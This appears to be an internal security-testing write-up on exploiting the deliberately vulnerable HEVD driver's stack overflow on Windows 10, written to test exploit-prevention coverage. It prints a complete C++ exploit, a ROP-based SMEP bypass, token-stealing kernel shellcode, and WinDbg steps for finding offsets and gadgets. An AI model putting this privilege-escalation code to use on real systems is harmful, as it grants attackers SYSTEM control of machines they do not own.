Purpose:

GSRT VEU needed a way to easily test common kernel privilege escalation techniques for coverage by Traps. Traps Exploit Prevention Modules (EPMs) target common exploit methods, such as ROP, export table enumeration, token stealing, etc. These methods are typically implemented within the shellcode payload, once a vulnerability has been successfully exploited. Therefore, VEU decided to implement a driver with known vulnerabilities to allow for easy exploitation and delivery of test payloads/shellcode.

Technical Details:

To implement this project, VEU needed to develop or find a driver that had purposely built-in vulnerabilities. To save time and effort VEU decided to use an open source project titled Hacksys Extremely Vulnerable Driver (HEVD) https://github.com/hacksysteam/HackSysExtremeVulnerableDriver. This driver was created by the HackSys team to "cater to a wide range of vulnerabilities ranging from simple Stack Buffer Overflowto complex Use After Free, Pool Buffer Overflow and Race Condition. This allows the researchers to explore the exploitation techniques for every implemented vulnerabilities." The code for the driver was presented at Black Hat 2016 and has had wide coverage by a host of researchers since its introduction. The benefits of using HEVD versus creating our own are the following:

- Time savings
- A host of vulnerabilities adding flexibility to code we may test
- A large number of example exploitation write-ups with sample code to aid in creating a solution that works for VEU

Since the main goal, at least initially, was to test various methods of privilege escalation, VEU did not need to emulate a specific vulnerability class (i.e. buffer overflow vs Use After Free), as any of the methods in question could be used in conjunction with any of vulnerability classes made available in HEVD. Therefore, VEU decided to exploit the simplest vulnerability in HEVD, a buffer overflow.

The HEVD provides a purposely vulnerable IOCTL susceptible to a buffer overflow. VUE used this IOCTL to create a working exploit on Windows 10 Build 10240. The exploit was based on the code used by "Abatchy" - https://www.abatchy.com/2018/01/kernel-exploitation-4. An Input/Output Control (IOCTL) is an interface that allows user land code to interact with a driver and its accociated kernel mode functionality. If written correctly, IOCTLs will be sufficiently defined to only allow limited, safe, interactions with the driver and the kernel. However, if certain precautions are not met, vulnerabilities are introduced allowing user mode code to take control of kernel mode structures creating an opportunity for unintentional actions such as privilege escalation or remote code execution. For the purposes of this test scenario, VEU was interested in testing escalation of privilege shellcode and therefore the focus was, at least for now, limited methods aimed at accomplishing increased privileges.

Before details of the exploit and escalation of privilege method is discussed, a brief description of the vulnerability is in order. The HEVD IOCTL used for our purposes was HEVD_IOCTL_BUFFER_OVERFLOW_STACK. When this IOCTL is called, BufferOverflowStackIoctlHandler() handles the call and pass es it on to the TriggerBufferOverflowStack() method. This code is listed below:

```
TriggerBufferOverflowStack(
    _In_ PVOID UserBuffer,
    _In_ SIZE_T Size
)
{
    NTSTATUS Status = STATUS_SUCCESS;
    ULONG KernelBuffer[BUFFER_SIZE] = { 0 };

    PAGED_CODE();

    __try
    {
        //
        // Verify if the buffer resides in user mode
        //

        ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(UCHAR));

        DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
        DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
        DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
        DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer));

        DbgPrint("[+] Triggering Buffer Overflow in Stack\n");

        //
        // Vulnerability Note: This is a vanilla Stack based Overflow vulnerability
        // because the developer is passing the user supplied size directly to
        // RtlCopyMemory()/memcpy() without validating if the size is greater or
        // equal to the size of KernelBuffer
        //

        RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);

        /// <summary>
        /// Buffer Overflow Stack Ioctl Handler
        /// </summary>
        /// <param name="Irp">The pointer to IRP</param>
        /// <param name="IrpSp">The pointer to IO_STACK_LOCATION structure</param>
        /// <returns>NTSTATUS</returns>
        NTSTATUS
        BufferOverflowStackIoctlHandler(
            _In_ PIRP Irp,
            _In_ PIO_STACK_LOCATION IrpSp
        )
        {
            SIZE_T Size = 0;
            PVOID UserBuffer = NULL;
            NTSTATUS Status = STATUS_UNSUCCESSFUL;

            UNREFERENCED_PARAMETER(Irp);
            PAGED_CODE();

            UserBuffer = IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;
            Size = IrpSp->Parameters.DeviceIoControl.InputBufferLength;

            if (UserBuffer)
            {
                Status = TriggerBufferOverflowStack(UserBuffer, Size);
            }

            return Status;
        }
```

The `TriggerBufferOverflowStack(UserBuffer, Size)` method takes the user mode buffer and user defined buffer size and copies it into a kernel mode buffer with a static buffer size of ULONG * 512 (4096), defined in the HEVD driver's common.h file -- `#define BUFFER_SIZE 512`. Therefore, if we supply a user buffer larger than 4096 we can exceed the bounds of the kernel buffer and take control of the stack and execute code of our choice. To save some time, VEU did some searching for existing code that exploits this driver on a Windows 10 x64 system and found and example supplied by "Abatchy" (https://github.com/abatchy17/HEVD-Exploits/blob/master/StackOverflow/Win10_x64/StackOverflow.cpp). This code, however, was targeted at an older version of Windows 10, therefore all of the hard-linked offsets would need to be verified and updated.

First we'll briefly describe the exploit code and then cover the process of updating the code for our specific version of Windows 10.

First we need to create a handle to the driver and allocate some memory for the user mode buffer. Then, on older Windows operating systems such as Windows 7, we'd simply call the IOCTL and pass the user mode buffer to the vulnerable driver. The code snippet below shows the resulting code to accomplish these tasks.

```
// Create handle to driver
    HANDLE device = CreateFileA(
        "\\\\.\\HackSysExtremeVulnerableDriver",
        GENERIC_READ | GENERIC_WRITE,
        0,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
        NULL);

    if (device == INVALID_HANDLE_VALUE)
    {
        printf("[-] Failed to open handle to device.");
        return -1;
    }

    printf("[+] Opened handle to device: 0x%p.\n", device);

    // Allocate memory to construct buffer for device
    char* uBuffer = (char*)VirtualAlloc(
        NULL,
        SIZE,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE);

    if (uBuffer == NULL)
    {
        printf("[-] Failed to allocate memory for buffer.\n");
        return -2;
    }

    printf("[+] User buffer allocated: 0x%p.\n", uBuffer);

    RtlFillMemory(uBuffer, SIZE, 'A');

    DWORD bytesRet;

    if (DeviceIoControl(
        device,
        HACKSYS_EVD_IOCTL_STACK_OVERFLOW,
        uBuffer,
        SIZE,
        NULL,
        0,
        &bytesRet,
        NULL
    ))
    {
        printf("Done! Enjoy a shell shortly.\n\n");
        system("cmd.exe");
    }
```

SMEP Bypass

However, since we are exploiting Windows 10 and not Windows 7 or below, we must deal with a newer exploit mitigation known as Supervisor Mode Exploit Prevention (SMEP). SMEP is a hardware mitigation introduced by Intel that prevents execution of instructions located in user mode while executing in kernel (supervisor) mode. Since we are copying a user mode buffer to a kernel mode buffer, any execution user mode linear addresses will blocked by SMEP. To bypass this we must first disable SMEP before we execute our payload. A detailed description of the method used to bypass SMEP can be found here: https://j00ru.vexillium.org/2011/06/smep-what-is-it-and-how-to-beat-it-on-windows/. SMEP is enabled by setting the 20th bit of the CR4 register to 1, therefore, we can disable it by setting this bit to zero before we execute any user mode shellcode within the kernel.

To do this we need to set the 20th bit of the CR4 register to zero while preserving the rest of the CR4 bits because these bits are important for other process related functionalities and changing them may crash the process and blue screen the system. We'll use return oriented programming (ROP) accomplish this. Our ROP gadget will look something like this:

```
    mov <reg>, cr4;
    ret;
    and <reg>, 0xFFFFFFFF`FFEFFFFF //Sets 20th bit to zero while preserving the remaining bits
    ret;
    mov cr4, <reg>;
    ret;
```

In the current version of the exploit code, we've simplified this by calculating the new value of CR4 ahead of time (it's a static value across subsequent runs, at least for every kernel version). The allows us to only have to rely on two ROP gadgets vs three; since finding the and mask ROP gadget is quite unlikely. So the code we used is:

```
     pop <reg>;
    ret;
    <pre-calculated CR4 value>;
    mov cr4, <reg>;
    ret;
```

Exploit Code

The exploit code was taken from a blog post (https://github.com/abatchy17/HEVD-Exploits/blob/master/StackOverflow/Win10_x64/StackOverflow.cpp). The code was written for an earlier version of Windows 10 and contained quite a few hard-carded offset which needed to be fixed. The following section will discuss the code and how to adjust the offsets to make the code work in other versions of Windows 10.

```
#include <Windows.h>
#include <stdio.h>
#include <Psapi.h>

// Windows build : 16299.15.amd64fre.rs3_release.170928 - 1534
// ntoskrnl's version: 10.0.16288.192

extern "C" VOID GetToken();

// Set to TRUE if you're looking for EIP offset, otherwise set to FALSE and set EIP_OFFSET
#define LOCATE_OFFSET        FALSE

// Set this value to the RIP offset you figured out, or to <=5000 if you didn't figure it out yet
#define RIP_OFFSET            2056
#define REG_SIZE            8

// Buffer size to be used
#define SIZE (RIP_OFFSET + REG_SIZE * 4)

// IOCTL to trigger the stack overflow vuln, copied from
HackSysExtremeVulnerableDriver/Driver/HackSysExtremeVulnerableDriver.h
#define HACKSYS_EVD_IOCTL_STACK_OVERFLOW    CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)


int main()
{
    LPVOID addresses[1000];
    DWORD needed;

    EnumDeviceDrivers(addresses, 1000, &needed);  (1)

    printf("[+] Address of ntoskrnl.exe: 0x%p\n", addresses[0]);

    LPVOID ntoskrnl_addr = addresses[0];  (2)
    LPVOID mov_cr4_rcx_addr = (LPVOID)((INT_PTR)addresses[0] + 0x424065);
    LPVOID pop_rcx = (LPVOID)((INT_PTR)addresses[0] + 0x171b80);

    printf("[+] Address of mov cr4, rcx: 0x%p\n", mov_cr4_rcx_addr);
    printf("[+] Address of pop rcx: 0x%p\n", pop_rcx);

    // Create handle to driver  (3)
    HANDLE device = CreateFileA(
        "\\\\.\\HackSysExtremeVulnerableDriver",
        GENERIC_READ | GENERIC_WRITE,
        0,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
        NULL);

    if (device == INVALID_HANDLE_VALUE)
    {
        printf("[-] Failed to open handle to device.");
        return -1;
    }

    printf("[+] Opened handle to device: 0x%p.\n", device);

    // Allocate memory to construct buffer for device (4)
    char* uBuffer = (char*)VirtualAlloc(
        NULL,
        SIZE,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE);

    if (uBuffer == NULL)
    {
        printf("[-] Failed to allocate memory for buffer.\n");
        return -2;
    }

    printf("[+] User buffer allocated: 0x%p.\n", uBuffer);

    RtlFillMemory(uBuffer, SIZE, 'A');  (5)

    INT_PTR MemoryAddress = (INT_PTR)(uBuffer + RIP_OFFSET); (6)
    INT_PTR EopPayload = (INT_PTR)&GetToken;

    *(INT_PTR*)MemoryAddress = (INT_PTR)pop_rcx;
    *(INT_PTR*)(MemoryAddress + 8 * 1) = (INT_PTR)0x70678;
    *(INT_PTR*)(MemoryAddress + 8 * 2) = (INT_PTR)mov_cr4_rcx_addr;
    *(INT_PTR*)(MemoryAddress + 8 * 3) = (INT_PTR)EopPayload;

    // Uncomment this if you want to re-enable SMEP, you'll need to adjust the stack frame in the payload

    /* *(INT_PTR*)(MemoryAddress + 8 * 4) = (INT_PTR)pop_rcx;
     *(INT_PTR*)(MemoryAddress + 8 * 5) = (INT_PTR)0x170678;
     *(INT_PTR*)(MemoryAddress + 8 * 6) = (INT_PTR)mov_cr4_rcx_addr;
     *(INT_PTR*)(MemoryAddress + 8 * 7) = (INT_PTR)EopPayload;
     */
    DWORD bytesRet;
    // Call IOCTL to trigger the exploit (7)
    if (DeviceIoControl(
        device,
        HACKSYS_EVD_IOCTL_STACK_OVERFLOW,
        uBuffer,
        SIZE,
        NULL,
        0,
        &bytesRet,
        NULL
    ))
    {
        printf("Done! Enjoy a shell shortly.\n\n");
        system("cmd.exe");
    }
    else
        printf("FUUUUUUUUUUUUUUUUUUUUU.\n");
}
```

1. The base address of ntoskernel is located to enable locating the ROP gadgets since they are located with ntoskernel and hard-coded as a relative offset from the base of ntoskernel (2)
2. The relative offsets for the ROP gadgets are saved
3. We create a handle to the driver
4. Allocate memory for the exploit buffer
5. Fill the buffer with some dummy data
    1. NOTE: size is defined as `#define SIZE (RIP_OFFSET + REG_SIZE * 4)` and RIP_OFFSET is another hard-coded offset that needs to be determined and indicates the location of the return address relative to the buffer base address
6. This where we will have overwritten the return address within the overflowed buffer and we are writing our payload to take control of the execution flow; EopPayload —> $GetToken() is the ASM code used to to steal the token (described below)
7. Call the IOCTL to trigger the exploit

Payload (Token Stealing) Code

```
code
PUBLIC GetToken
GetToken   proc

; Start of Token Stealing Stub
xor rax, rax                    ; Set ZERO
mov rax, gs:[rax + 188h]        ; Get nt!_KPCR.PcrbData.CurrentThread (1)
                                ; _KTHREAD is located at GS : [0x188]

mov rax, [rax + 0B8h]            ; Get nt!_KTHREAD.ApcState.Process (2)
mov rcx, rax                    ; Copy current process _EPROCESS structure
mov r11, rcx                    ; Store Token.RefCnt
and r11, 7

mov rdx, 4h                     ; SYSTEM process PID = 0x4 (3)

SearchSystemPID:
mov rax, [rax + 2e8h]           ; Get nt!_EPROCESS.ActiveProcessLinks.Flink (4)
sub rax, 2e8h
cmp[rax + 2e0h], rdx            ; Get nt!_EPROCESS.UniqueProcessId (5)
jne SearchSystemPID

mov rdx, [rax + 358h]           ; Get SYSTEM process nt!_EPROCESS.Token (6)
and rdx, 0fffffffffffffff0h
or rdx, r11
mov[rcx + 358h], rdx            ; Replace target process nt!_EPROCESS.Token (7)
                                ; with SYSTEM process nt!_EPROCESS.Token
                                ; End of Token Stealing Stub

; We still need to reconstruct a valid response
xor rax, rax                    ; Set NTSTATUS SUCCEESS (8)

; These registers need to be zeroed out, although I don't know the exact reason, a good general stragegy would be
; to keep a note on all register values when you make a safe call and then see which registers get mangled values
; A good start would be zeroeing out the registers that are zero when you submit safe input, in our case, that
was
; registers rsi and rdi
xor rsi, rsi
xor rdi, rdi

; Recreate the instructions that would've been executed if we didn't ruin the stack frame
add rsp, 040h
ret

GetToken ENDP
end
```

This portion of the exploit code, walks the kernel process control region (KPCR), a structure that defines critical elements within the current processor state, including Thread information located within the Kernel Process Control Block (KPRCB) structure. It is this structure where we need to find the current token and the token of a process running as SYSTEM and replace the former with the latter. All of these offsets are only guaranteed to work under the same kernel version as the original author's system. Kernel structures are abstracted by the Windows user mode API and, therefore, often change without issue during Windows updates. This does not cause an issue under normal situations since the API abstraction handles any kernel structure updates. However, when you deal with the kernel structure directly, through direct access via ASM code, no guarantees are made that these offsets will remain constant after updates. In fact many of these offsets needed to be updated to work on the version of Windows 10 VEU used (the process to find and update these will be discussed in the next section).

1. Save the KPRCB.CurrentThread, which is a pointer the KTHREAD strucure
2. Save the KTHREAD.ApcState.Process, which is a pointer to the EPROCESS structure
3. Setting rdx to 0x4 which is the PID for the System process
4. Save a pointer to EPROCESS.ActiveProcessLinks.Flink, which is a linked list of the processes currently running on the system
5. Compare the PID of each process to 0x4 to find the system process
6. Once we've found the System process we save that processes token
7. Replace the token of our process with that of the System process
8. Clean up the registers and stack to return the process state to an equivalent had we not exploited the buffer overflow; this is very important as we'll get a BSOD if not

This code is the original code from Abatchy's blog post. Since we are using a different version of Windows 10 and hence, another version of the kernel, we need to fix all of the offsets in the ASM code as well as the ROP chain addresses and CR4 setting code that disables SMEP. I'll detail this process in the next section.

Fixing Shellcode for Our Version of Windows 10

We will be using Windbg Preview to debug the target VM. Windbg has access to Windows symbols which makes our job of locating any adjusted kernel structure offsets much easier.

We know that a pointer to the KPCR is stored in GS:[0]. As can be seen in the ASM shellcode above at (1), GS:[188] is being moved into the rax register. This is a pointer to KPRCB.CurrentThread.

To find the offset of the KPRCB.CurrentThread we run the following commands in Windbg:

```
kd> dt nt!_KPCR
   +0x000 NtTib            : _NT_TIB
   +0x000 GdtBase          : Ptr64 _KGDTENTRY64
   +0x008 TssBase          : Ptr64 _KTSS64
   +0x010 UserRsp          : Uint8B
   ...
   +0x180 Prcb             : _KPRCB
kd> dt nt!_KPRCB
   +0x000 MxCsr            : Uint4B
   +0x004 LegacyNumber     : UChar
   +0x005 ReservedMustBeZero : UChar
   +0x006 InterruptRequest : UChar
   +0x007 IdleHalt         : UChar
   +0x008 CurrentThread    : Ptr64 _KTHREAD
   ...
```

We can see that a pointer to the KPRCB is located at an offset of 0x180 and a pointer to the CurrentThread is located at an offset of 0x008 from the KPRCB pointer. So it appears the offset used in the example code (**0x188**) is still correct for the version of Windows 10 we're currently using.

To find the offset of KTHREAD.ApcState.Process we run the following command in Windgb:

```
kd> dt nt!_KTHREAD
   +0x000 Header           : _DISPATCHER_HEADER
   +0x018 SListFaultAddress : Ptr64 Void
   +0x020 QuantumTarget    : Uint8B
    ...
   +0x098 ApcState         : _KAPC_STATE
   +0x098 ApcStateFill     : [43] UChar
   +0x0c3 Priority         : Char
   ...
   +0x220 Process          : Ptr64 _KPROCESS
   …
```

So here we can see a couple of things. First, the offset to KTHREAD.ApcState is 0x98. ApcState is a KAPC_STATE object and within that object there is a pointer to the Process at an offset of 0x20, so the offset is still correct in our version of Windows 10. I did change it however to simplify things because within the KTHREAD object, there is a standalone pointer to the Process at **0x220**, which is what we will use instead of the KTHREAD.ApcState.Process. Both of these pointers to Process are pointers to the KPROCESS object and are synonymous with the EPROCESS objects.

To find the EPROCESS.ActiveProcessLinks.Flink we run the following command in Windbg:

```
kd> dt nt!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   +0x2d8 ProcessLock      : _EX_PUSH_LOCK
   +0x2e0 RundownProtect   : _EX_RUNDOWN_REF
   +0x2e8 UniqueProcessId  : Ptr64 Void
   +0x2f0 ActiveProcessLinks : _LIST_ENTRY
   ...
   +0x358 Token            : _EX_FAST_REF
   +0x360 WorkingSetPage   : Uint8B
   +0x368 AddressCreationLock : _EX_PUSH_LOCK
   +0x370 PageTableCommitmentLock : _EX_PUSH_LOCK
   ...
```

As we can see the offset to the ActiveProcessLinks structure is 0x2f0. The ActiveProcessLinks structure is a LIST_ENTRY structure, which is simply a linked list. Therefore the FLINK member is the first pointer (0x00) and the BLINK is the second pointer (0x10). So our new EPROCESS.ActiveProcessLinks.Flink offset is **0x2f0**.

Next we need to verify the EPROCESS.UniqueProcessId offset. This is located at an offset of 0x2e8

Last we need to find the Token pointer. The token pointer is also located within the EPROCESS object and is located at an offset of **0x358** on our version of Windows 10.

Last, but not least, we need to find the ROP gadgets offsets for the SMEP bypass.

The blog I used to identify the ROP gadgets is located here: http://blog.ptsecurity.com/2012/09/bypassing-intel-smep-on-windows-8-x64.html. Based on this blog I looked for a pop, rcx; ret; in HvlEndSystemInterrupt(); Just like in the blog post there the ROP gadget is located at the end of the function in the stack clean-up portion of the code. Within the exploit code the base of ntoskernel is calculated and we can calculate the relative offset of this ROP gadget by subtracting the ntoskernel base address from the address of the ROP gadget as shown below:

```
kd> uf 0xfffff800999c6d10
nt!HvlEndSystemInterrupt:
fffff800`999c6cf0 4851             push    rcx
fffff800`999c6cf2 50               push    rax
fffff800`999c6cf3 52               push    rdx
fffff800`999c6cf4 65488b142588610000 mov   rdx,qword ptr gs:[6188h]
fffff800`999c6cfd b970000040       mov     ecx,40000070h
fffff800`999c6d02 0fba3200         btr     dword ptr [rdx],0
fffff800`999c6d06 7206             jb      nt!HvlEndSystemInterrupt+0x1e (fffff800`999c6d0e)  Branch

nt!HvlEndSystemInterrupt+0x18:
fffff800`999c6d08 33c0             xor     eax,eax
fffff800`999c6d0a 8bd0             mov     edx,eax
fffff800`999c6d0c 0f30             wrmsr

nt!HvlEndSystemInterrupt+0x1e:
fffff800`999c6d0e 5a               pop     rdx
fffff800`999c6d0f 58               pop     rax
fffff800`999c6d10 59               pop     rcx
fffff800`999c6d11 c3               ret

kd> ? fffff800`999c6d10 - 0xfffff8009987b000
Evaluate expression: 1359120 = 00000000`0014bd10
kd> uf nt!KiFlushCurrentTbWorker
nt!KiFlushCurrentTbWorker:
fffff800`998a0244 0f20e1           mov     rcx,cr4
fffff800`998a0247 84c9             test    cl,cl
fffff800`998a0249 790f             jns     nt!KiFlushCurrentTbWorker+0x16 (fffff800`998a025a)  Branch

nt!KiFlushCurrentTbWorker+0x7:
fffff800`998a024b 488bc1           mov     rax,rcx
fffff800`998a024e 480fbaf007       btr     rax,7
fffff800`998a0253 0f22e0           mov     cr4,rax
fffff800`998a0256 0f22e1           mov     cr4,rcx
fffff800`998a0259 c3               ret

nt!KiFlushCurrentTbWorker+0x16:
fffff800`998a025a 0f20d8           mov     rax,cr3
fffff800`998a025d 0f22d8           mov     cr3,rax
fffff800`998a0260 c3               ret
kd> ? fffff800`998a0256 - 0xfffff8009987b000
Evaluate expression: 152150 = 00000000`00025256
```